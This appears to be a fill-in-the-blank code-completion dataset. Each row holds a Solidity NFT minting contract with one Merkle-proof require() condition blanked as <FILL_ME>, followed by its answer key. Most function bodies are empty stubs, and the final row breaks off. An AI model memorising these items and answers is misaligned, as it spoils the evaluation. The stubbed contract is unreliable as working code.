// @@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@.................,@@@@@@@@@@
// @@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@..................@@@@@@@@@@@@
// @@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@..................@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@ @@@@@@@@@@@@@@,.................@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@/ ..............................@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@ ..............................@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@ ..............................@@@@@@%@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@ ..............................@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@ ..............................@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@, ..............................@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@ ..............................@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@(@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
//
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////
pragma solidity ^0.8.9;
import "./ERC721.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/utils/cryptography/draft-EIP712Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/cryptography/ECDSAUpgradeable.sol";
interface IRelation {
function burned(uint256 tokenId) external view returns (address);
function ownerOf(uint256 tokenId) external view returns (address);
function balanceOf(address account) external view returns (uint256);
}
contract C0 is Initializable, ERC721Upgradeable, OwnableUpgradeable, EIP712Upgradeable {
using ECDSAUpgradeable for bytes32;
//
// Events
//
event WithdrawerUpdated(Withdrawer withdrawer);
event StateUpdated(uint indexed state);
event BaseURIUpdated(string uri);
event NSUpdated(string name, string symbol);
bytes32 public constant RELATION_TYPE_HASH = keccak256("Relation(uint8 code,address addr,uint256 id)");
bytes32 public constant BODY_TYPE_HASH = keccak256("Body(uint256 id,uint8 encoding,address sender,address receiver,uint128 value,uint64 start,uint64 end,bytes32 sendersHash,bytes32 receiversHash,bytes32 puzzleHash,Relation[] relations)Relation(uint8 code,address addr,uint256 id)");
bytes32 private constant EMPTY_ARRAY_HASH = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // keccak256(abi.encodePacked(new bytes32[](0)))
//
// Struct declaration
//
struct Relation {
uint8 code;
address addr; // contract address
uint256 id; // tokenId/value
}
struct Body {
uint256 id;
uint128 value;
uint64 start;
uint64 end;
address sender;
address receiver;
uint8 encoding; // 0: raw, 1: dag-pb
bytes32 sendersHash;
bytes32 receiversHash;
bytes32 puzzleHash;
Relation[] relations;
bytes signature;
}
struct Gift {
uint256 id;
address receiver;
uint8 encoding; // 0: raw, 1: dag-pb
Relation[] relations;
}
struct Input {
address receiver;
bytes puzzle;
bytes32[] sendersProof;
bytes32[] receiversProof;
}
struct Royalty {
address receiver;
uint96 amount;
}
struct Withdrawer {
address account;
bool permanent;
}
//
// Member variables
//
mapping(uint256 => Royalty) public royalty;
mapping(uint256 => uint8) public encoding;
mapping(uint256 => address) public burned;
Withdrawer public withdrawer;
string public baseURI;
uint public state; // 0: open, 1: paused, 2: frozen
//
// Core interface functions
//
function initialize(string calldata name, string calldata symbol) initializer external {
}
//
// Allow direct receiving of funds
//
receive() external payable {}
//
// gift tokens (c0.gift.send())
//
function gift(Gift[] calldata gifts) external payable onlyOwner {
}
//
// mint tokens (c0.token.send())
//
function token(Body[] calldata bodies, Input[] calldata inputs) external payable {
require(state == 0, "0"); // cannot mint when the state is paused or frozen
uint val;
for(uint i=0; i<bodies.length;) {
Body calldata body = bodies[i];
Input calldata input = inputs[i];
//
// 1. Burned check: disallow reminting if already burned
//
require(burned[body.id] == address(0), "1"); // cannot mint if it was already burned
// Who receives the token when minted?
// if body.receiver is set (not 0) => body.receiver
// if body.receiver is NOT set => input.receiver
address receiver = (body.receiver != address(0) ? body.receiver : input.receiver);
//
// 2. Signature check
//
if (body.relations.length == 0) {
bytes32 bodyhash = keccak256(
abi.encode(
BODY_TYPE_HASH,
body.id,
body.encoding,
body.sender,
body.receiver,
body.value,
body.start,
body.end,
body.sendersHash,
body.receiversHash,
body.puzzleHash,
EMPTY_ARRAY_HASH
)
);
require(_hashTypedDataV4(bodyhash).recover(body.signature) == owner(), "2"); // check script signature
} else {
bytes memory relationBytes;
uint outgoing;
//
// Relation handling
// A relation is the token's relationship with another address.
// It can be either incoming (INPUTS) or outgoing (OUTPUTS)
//
// Inputs: decides whether the virtual machine will accept the conditions related to other addresses
// Outputs: dictates how payments will be sent out (either the mint revenue or the royalty revenue)
//
for(uint j=0; j<body.relations.length;) {
Relation memory relation = body.relations[j];
//
// relation.code :=
//
// INPUTS: input conditions
// 0: burned by sender
// 1: burned by receiver
// 2: owned by sender
// 3: owned by receiver
// 4. balance by sender
// 5. balance by receiver
//
// OUTPUTS: output transfer declarations
// 10. mint payment handling
// 11. royalty payment handling
//
// INPUT
// 0. burned by sender
if (relation.code == 0) {
if (relation.addr == address(0)) {
require(burned[relation.id] == _msgSender(), "8a"); // local burnership check for sender
} else {
require(IRelation(relation.addr).burned(relation.id) == _msgSender(), "8a"); // remote contract burnership check for sender
}
}
// 1. burned by receiver
else if (relation.code == 1) {
if (relation.addr == address(0)) {
require(burned[relation.id] == receiver, "8b"); // local burnership check for receiver
} else {
require(IRelation(relation.addr).burned(relation.id) == receiver, "8b"); // remote contract burnership check for receiver
}
}
// 2. owned by sender
else if (relation.code == 2) {
if (relation.addr == address(0)) {
require(ownerOf(relation.id) == _msgSender(), "9a"); // local ownership check for sender
} else {
require(IRelation(relation.addr).ownerOf(relation.id) == _msgSender(), "9a"); // remote contract ownership check for sender
}
}
// 3. owned by receiver
else if (relation.code == 3) {
if (relation.addr == address(0)) {
require(ownerOf(relation.id) == receiver, "9b"); // local ownership check for receiver
} else {
require(IRelation(relation.addr).ownerOf(relation.id) == receiver, "9b"); // remote contract ownership check for receiver
}
}
// 4. balance by sender
else if (relation.code == 4) {
if (relation.addr == address(0)) {
require(balanceOf(_msgSender()) >= relation.id, "10a"); // local balance check for sender
} else {
require(IRelation(relation.addr).balanceOf(_msgSender()) >= relation.id, "10a"); // remote contract balance check for sender
}
}
// 5. balance by receiver
else if (relation.code == 5) {
if (relation.addr == address(0)) {
require(balanceOf(receiver) >= relation.id, "10b"); // local balance check for receiver
} else {
require(IRelation(relation.addr).balanceOf(receiver) >= relation.id, "10b"); // remote contract balance check for receiver
}
}
// OUTPUT
// 10. Make a transfer (relation.id / 10^6 percent of msg.value) to the relation.receiver
else if (relation.code == 10) {
outgoing += relation.id;
require(outgoing <= 1e6, "10c"); // the sum of all payment split shares must not exceed 1,000,000 (1e6)
_transfer(relation.addr, msg.value * relation.id / 1e6);
}
// 11. Set EIP-2981 royalty info
else if (relation.code == 11) {
royalty[body.id] = Royalty(relation.addr, uint96(relation.id));
}
relationBytes = abi.encodePacked(relationBytes, keccak256(abi.encode(
RELATION_TYPE_HASH,
relation.code,
relation.addr,
relation.id
)));
unchecked {
++j;
}
}
bytes32 bodyhash = keccak256(
abi.encode(
BODY_TYPE_HASH,
body.id,
body.encoding,
body.sender,
body.receiver,
body.value,
body.start,
body.end,
body.sendersHash,
body.receiversHash,
body.puzzleHash,
keccak256(relationBytes)
)
);
require(_hashTypedDataV4(bodyhash).recover(body.signature) == owner(), "2"); // check script signature
}
//
// 3. Sender check: if body.sender is specified, the body.sender must match _msgSender()
//
if (body.sender != address(0)) require(body.sender == _msgSender(), "3"); // sender lock validation
//
// 4. Start timelock check
//
require(body.start <= block.timestamp, "4"); // start time lock validation
//
// 5. End timelock check
//
require(body.end >= block.timestamp, "5"); // end time lock validation
//
// 6. Puzzle input check => the hash of the provided preimage string (input.puzzle) must match the hash (body.puzzleHash)
//
if (body.puzzleHash != 0) {
require(input.puzzle.length > 0 && keccak256(input.puzzle) == body.puzzleHash, "6"); // hash puzzle lock validation
}
//
// 7. Merkle input check => The _msgSender() must be included in the merkle tree specified by the body.merkleHash (verified using merkleproof input.merkle)
//
if (body.sendersHash != 0) {
require(<FILL_ME>) // senders merkle proof lock validation
}
if (body.receiversHash != 0) {
require(verify(body.receiversHash, input.receiversProof, receiver), "7b"); // receivers merkle proof lock validation
}
//
//
// A. Token storage logic => The token is actually created
//
//
//
// A.1. Set CID encoding: 0 if raw, 1 if dag-pb
// (In most cases it will be "raw" since metadata JSON files are small files and will be encoded as "raw", therefore saving gas)
//
if (body.encoding != 0) encoding[body.id] = body.encoding;
//
// A.2. Mint the token
//
_mint(receiver, body.id);
unchecked {
val+=body.value;
++i;
}
}
//
// 10. Revert everything if not enough money was sent
//
require(val == msg.value, "11"); // value lock validation
}
function burn(uint[] calldata _tokenIds) external {
}
//
// Universal tokenId engine: tokenId to CID
//
function tokenURI(uint tokenId) public view override(ERC721Upgradeable) returns (string memory) {
}
//
// Merkle proof verifier
//
function verify(bytes32 root, bytes32[] calldata proof, address account) internal pure returns (bool) {
}
//
// Royalty functions
//
function royaltyInfo(uint tokenId, uint value) external view returns (address receiver, uint256 royaltyAmount) {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721Upgradeable) returns (bool) {
}
//
// Admin functions
//
function setWithdrawer(Withdrawer calldata _withdrawer) external onlyOwner {
}
function withdraw(uint value) external payable {
}
function setState(uint _state) external onlyOwner {
}
function setBaseURI(string calldata b) external onlyOwner {
}
function setNS(string calldata name_, string calldata symbol_) external onlyOwner {
}
error TransferFailed();
function _transfer(address to, uint256 amount) internal {
}
}
| verify(body.sendersHash,input.sendersProof,_msgSender()),"7a" | 412,628 | verify(body.sendersHash,input.sendersProof,_msgSender()) |
"7b" | // SPDX-License-Identifier: MIT
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//
// cell/c0
//
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@# ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@ ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@(@@@@@@ ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@ ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@ ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,/@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@% ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@ @@@@@@@@@&&&,,,,,,,,,,,,,,,,,,@@@@@@%@@@@@@@@@
// @@@@@@@@#@@@@@@ @@@@@@@@@@@@@@@,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@
// @@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@
// @@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@,,,,,,,,,,,,,,,,,&@@@@@@@@@@@
// @@@@@@@@@@& *@@@@@@@@@@@@@@@@@@@@@@@,,,,,,,,,,,,,,,,,,@@@@@@@@@@
// @@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@.................,@@@@@@@@@@
// @@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@..................@@@@@@@@@@@@
// @@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@..................@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@ @@@@@@@@@@@@@@,.................@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@/ ..............................@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@ ..............................@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@ ..............................@@@@@@%@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@ ..............................@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@ ..............................@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@, ..............................@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@ ..............................@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@(@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
//
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////
pragma solidity ^0.8.9;
import "./ERC721.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/utils/cryptography/draft-EIP712Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/cryptography/ECDSAUpgradeable.sol";
interface IRelation {
function burned(uint256 tokenId) external view returns (address);
function ownerOf(uint256 tokenId) external view returns (address);
function balanceOf(address account) external view returns (uint256);
}
contract C0 is Initializable, ERC721Upgradeable, OwnableUpgradeable, EIP712Upgradeable {
using ECDSAUpgradeable for bytes32;
//
// Events
//
event WithdrawerUpdated(Withdrawer withdrawer);
event StateUpdated(uint indexed state);
event BaseURIUpdated(string uri);
event NSUpdated(string name, string symbol);
bytes32 public constant RELATION_TYPE_HASH = keccak256("Relation(uint8 code,address addr,uint256 id)");
bytes32 public constant BODY_TYPE_HASH = keccak256("Body(uint256 id,uint8 encoding,address sender,address receiver,uint128 value,uint64 start,uint64 end,bytes32 sendersHash,bytes32 receiversHash,bytes32 puzzleHash,Relation[] relations)Relation(uint8 code,address addr,uint256 id)");
bytes32 private constant EMPTY_ARRAY_HASH = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // keccak256(abi.encodePacked(new bytes32[](0)))
//
// Struct declaration
//
struct Relation {
uint8 code;
address addr; // contract address
uint256 id; // tokenId/value
}
struct Body {
uint256 id;
uint128 value;
uint64 start;
uint64 end;
address sender;
address receiver;
uint8 encoding; // 0: raw, 1: dag-pb
bytes32 sendersHash;
bytes32 receiversHash;
bytes32 puzzleHash;
Relation[] relations;
bytes signature;
}
struct Gift {
uint256 id;
address receiver;
uint8 encoding; // 0: raw, 1: dag-pb
Relation[] relations;
}
struct Input {
address receiver;
bytes puzzle;
bytes32[] sendersProof;
bytes32[] receiversProof;
}
struct Royalty {
address receiver;
uint96 amount;
}
struct Withdrawer {
address account;
bool permanent;
}
//
// Member variables
//
mapping(uint256 => Royalty) public royalty;
mapping(uint256 => uint8) public encoding;
mapping(uint256 => address) public burned;
Withdrawer public withdrawer;
string public baseURI;
uint public state; // 0: open, 1: paused, 2: frozen
//
// Core interface functions
//
function initialize(string calldata name, string calldata symbol) initializer external {
}
//
// Allow direct receiving of funds
//
receive() external payable {}
//
// gift tokens (c0.gift.send())
//
function gift(Gift[] calldata gifts) external payable onlyOwner {
}
//
// mint tokens (c0.token.send())
//
function token(Body[] calldata bodies, Input[] calldata inputs) external payable {
require(state == 0, "0"); // cannot mint when the state is paused or frozen
uint val;
for(uint i=0; i<bodies.length;) {
Body calldata body = bodies[i];
Input calldata input = inputs[i];
//
// 1. Burned check: disallow reminting if already burned
//
require(burned[body.id] == address(0), "1"); // cannot mint if it was already burned
// Who receives the token when minted?
// if body.receiver is set (not 0) => body.receiver
// if body.receiver is NOT set => input.receiver
address receiver = (body.receiver != address(0) ? body.receiver : input.receiver);
//
// 2. Signature check
//
if (body.relations.length == 0) {
bytes32 bodyhash = keccak256(
abi.encode(
BODY_TYPE_HASH,
body.id,
body.encoding,
body.sender,
body.receiver,
body.value,
body.start,
body.end,
body.sendersHash,
body.receiversHash,
body.puzzleHash,
EMPTY_ARRAY_HASH
)
);
require(_hashTypedDataV4(bodyhash).recover(body.signature) == owner(), "2"); // check script signature
} else {
bytes memory relationBytes;
uint outgoing;
//
// Relation handling
// A relation is the token's relationship with another address.
// It can be either incoming (INPUTS) or outgoing (OUTPUTS)
//
// Inputs: decides whether the virtual machine will accept the conditions related to other addresses
// Outputs: dictates how payments will be sent out (either the mint revenue or the royalty revenue)
//
for(uint j=0; j<body.relations.length;) {
Relation memory relation = body.relations[j];
//
// relation.code :=
//
// INPUTS: input conditions
// 0: burned by sender
// 1: burned by receiver
// 2: owned by sender
// 3: owned by receiver
// 4. balance by sender
// 5. balance by receiver
//
// OUTPUTS: output transfer declarations
// 10. mint payment handling
// 11. royalty payment handling
//
// INPUT
// 0. burned by sender
if (relation.code == 0) {
if (relation.addr == address(0)) {
require(burned[relation.id] == _msgSender(), "8a"); // local burnership check for sender
} else {
require(IRelation(relation.addr).burned(relation.id) == _msgSender(), "8a"); // remote contract burnership check for sender
}
}
// 1. burned by receiver
else if (relation.code == 1) {
if (relation.addr == address(0)) {
require(burned[relation.id] == receiver, "8b"); // local burnership check for receiver
} else {
require(IRelation(relation.addr).burned(relation.id) == receiver, "8b"); // remote contract burnership check for receiver
}
}
// 2. owned by sender
else if (relation.code == 2) {
if (relation.addr == address(0)) {
require(ownerOf(relation.id) == _msgSender(), "9a"); // local ownership check for sender
} else {
require(IRelation(relation.addr).ownerOf(relation.id) == _msgSender(), "9a"); // remote contract ownership check for sender
}
}
// 3. owned by receiver
else if (relation.code == 3) {
if (relation.addr == address(0)) {
require(ownerOf(relation.id) == receiver, "9b"); // local ownership check for receiver
} else {
require(IRelation(relation.addr).ownerOf(relation.id) == receiver, "9b"); // remote contract ownership check for receiver
}
}
// 4. balance by sender
else if (relation.code == 4) {
if (relation.addr == address(0)) {
require(balanceOf(_msgSender()) >= relation.id, "10a"); // local balance check for sender
} else {
require(IRelation(relation.addr).balanceOf(_msgSender()) >= relation.id, "10a"); // remote contract balance check for sender
}
}
// 5. balance by receiver
else if (relation.code == 5) {
if (relation.addr == address(0)) {
require(balanceOf(receiver) >= relation.id, "10b"); // local balance check for receiver
} else {
require(IRelation(relation.addr).balanceOf(receiver) >= relation.id, "10b"); // remote contract balance check for receiver
}
}
// OUTPUT
// 10. Make a transfer (relation.id / 10^6 percent of msg.value) to the relation.receiver
else if (relation.code == 10) {
outgoing += relation.id;
require(outgoing <= 1e6, "10c"); // the sum of all payment split shares must not exceed 1,000,000 (1e6)
_transfer(relation.addr, msg.value * relation.id / 1e6);
}
// 11. Set EIP-2981 royalty info
else if (relation.code == 11) {
royalty[body.id] = Royalty(relation.addr, uint96(relation.id));
}
relationBytes = abi.encodePacked(relationBytes, keccak256(abi.encode(
RELATION_TYPE_HASH,
relation.code,
relation.addr,
relation.id
)));
unchecked {
++j;
}
}
bytes32 bodyhash = keccak256(
abi.encode(
BODY_TYPE_HASH,
body.id,
body.encoding,
body.sender,
body.receiver,
body.value,
body.start,
body.end,
body.sendersHash,
body.receiversHash,
body.puzzleHash,
keccak256(relationBytes)
)
);
require(_hashTypedDataV4(bodyhash).recover(body.signature) == owner(), "2"); // check script signature
}
//
// 3. Sender check: if body.sender is specified, the body.sender must match _msgSender()
//
if (body.sender != address(0)) require(body.sender == _msgSender(), "3"); // sender lock validation
//
// 4. Start timelock check
//
require(body.start <= block.timestamp, "4"); // start time lock validation
//
// 5. End timelock check
//
require(body.end >= block.timestamp, "5"); // end time lock validation
//
// 6. Puzzle input check => the hash of the provided preimage string (input.puzzle) must match the hash (body.puzzleHash)
//
if (body.puzzleHash != 0) {
require(input.puzzle.length > 0 && keccak256(input.puzzle) == body.puzzleHash, "6"); // hash puzzle lock validation
}
//
// 7. Merkle input check => The _msgSender() must be included in the merkle tree specified by the body.merkleHash (verified using merkleproof input.merkle)
//
if (body.sendersHash != 0) {
require(verify(body.sendersHash, input.sendersProof, _msgSender()), "7a"); // senders merkle proof lock validation
}
if (body.receiversHash != 0) {
require(<FILL_ME>) // receivers merkle proof lock validation
}
//
//
// A. Token storage logic => The token is actually created
//
//
//
// A.1. Set CID encoding: 0 if raw, 1 if dag-pb
// (In most cases it will be "raw" since metadata JSON files are small files and will be encoded as "raw", therefore saving gas)
//
if (body.encoding != 0) encoding[body.id] = body.encoding;
//
// A.2. Mint the token
//
_mint(receiver, body.id);
unchecked {
val+=body.value;
++i;
}
}
//
// 10. Revert everything if not enough money was sent
//
require(val == msg.value, "11"); // value lock validation
}
function burn(uint[] calldata _tokenIds) external {
}
//
// Universal tokenId engine: tokenId to CID
//
function tokenURI(uint tokenId) public view override(ERC721Upgradeable) returns (string memory) {
}
//
// Merkle proof verifier
//
function verify(bytes32 root, bytes32[] calldata proof, address account) internal pure returns (bool) {
}
//
// Royalty functions
//
function royaltyInfo(uint tokenId, uint value) external view returns (address receiver, uint256 royaltyAmount) {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721Upgradeable) returns (bool) {
}
//
// Admin functions
//
function setWithdrawer(Withdrawer calldata _withdrawer) external onlyOwner {
}
function withdraw(uint value) external payable {
}
function setState(uint _state) external onlyOwner {
}
function setBaseURI(string calldata b) external onlyOwner {
}
function setNS(string calldata name_, string calldata symbol_) external onlyOwner {
}
error TransferFailed();
function _transfer(address to, uint256 amount) internal {
}
}
| verify(body.receiversHash,input.receiversProof,receiver),"7b" | 412,628 | verify(body.receiversHash,input.receiversProof,receiver) |
"20" | // SPDX-License-Identifier: MIT
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//
// cell/c0
//
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@# ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@ ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@(@@@@@@ ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@ ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@ ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,/@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@% ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@ @@@@@@@@@&&&,,,,,,,,,,,,,,,,,,@@@@@@%@@@@@@@@@
// @@@@@@@@#@@@@@@ @@@@@@@@@@@@@@@,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@
// @@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@
// @@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@,,,,,,,,,,,,,,,,,&@@@@@@@@@@@
// @@@@@@@@@@& *@@@@@@@@@@@@@@@@@@@@@@@,,,,,,,,,,,,,,,,,,@@@@@@@@@@
// @@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@.................,@@@@@@@@@@
// @@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@..................@@@@@@@@@@@@
// @@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@..................@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@ @@@@@@@@@@@@@@,.................@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@/ ..............................@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@ ..............................@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@ ..............................@@@@@@%@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@ ..............................@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@ ..............................@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@, ..............................@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@ ..............................@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@(@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
//
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////
pragma solidity ^0.8.9;
import "./ERC721.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/utils/cryptography/draft-EIP712Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/cryptography/ECDSAUpgradeable.sol";
interface IRelation {
function burned(uint256 tokenId) external view returns (address);
function ownerOf(uint256 tokenId) external view returns (address);
function balanceOf(address account) external view returns (uint256);
}
contract C0 is Initializable, ERC721Upgradeable, OwnableUpgradeable, EIP712Upgradeable {
using ECDSAUpgradeable for bytes32;
//
// Events
//
event WithdrawerUpdated(Withdrawer withdrawer);
event StateUpdated(uint indexed state);
event BaseURIUpdated(string uri);
event NSUpdated(string name, string symbol);
bytes32 public constant RELATION_TYPE_HASH = keccak256("Relation(uint8 code,address addr,uint256 id)");
bytes32 public constant BODY_TYPE_HASH = keccak256("Body(uint256 id,uint8 encoding,address sender,address receiver,uint128 value,uint64 start,uint64 end,bytes32 sendersHash,bytes32 receiversHash,bytes32 puzzleHash,Relation[] relations)Relation(uint8 code,address addr,uint256 id)");
bytes32 private constant EMPTY_ARRAY_HASH = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // keccak256(abi.encodePacked(new bytes32[](0)))
//
// Struct declaration
//
struct Relation {
uint8 code;
address addr; // contract address
uint256 id; // tokenId/value
}
struct Body {
uint256 id;
uint128 value;
uint64 start;
uint64 end;
address sender;
address receiver;
uint8 encoding; // 0: raw, 1: dag-pb
bytes32 sendersHash;
bytes32 receiversHash;
bytes32 puzzleHash;
Relation[] relations;
bytes signature;
}
struct Gift {
uint256 id;
address receiver;
uint8 encoding; // 0: raw, 1: dag-pb
Relation[] relations;
}
struct Input {
address receiver;
bytes puzzle;
bytes32[] sendersProof;
bytes32[] receiversProof;
}
struct Royalty {
address receiver;
uint96 amount;
}
struct Withdrawer {
address account;
bool permanent;
}
//
// Member variables
//
mapping(uint256 => Royalty) public royalty;
mapping(uint256 => uint8) public encoding;
mapping(uint256 => address) public burned;
Withdrawer public withdrawer;
string public baseURI;
uint public state; // 0: open, 1: paused, 2: frozen
//
// Core interface functions
//
function initialize(string calldata name, string calldata symbol) initializer external {
}
//
// Allow direct receiving of funds
//
receive() external payable {}
//
// gift tokens (c0.gift.send())
//
function gift(Gift[] calldata gifts) external payable onlyOwner {
}
//
// mint tokens (c0.token.send())
//
function token(Body[] calldata bodies, Input[] calldata inputs) external payable {
}
function burn(uint[] calldata _tokenIds) external {
}
//
// Universal tokenId engine: tokenId to CID
//
function tokenURI(uint tokenId) public view override(ERC721Upgradeable) returns (string memory) {
}
//
// Merkle proof verifier
//
function verify(bytes32 root, bytes32[] calldata proof, address account) internal pure returns (bool) {
}
//
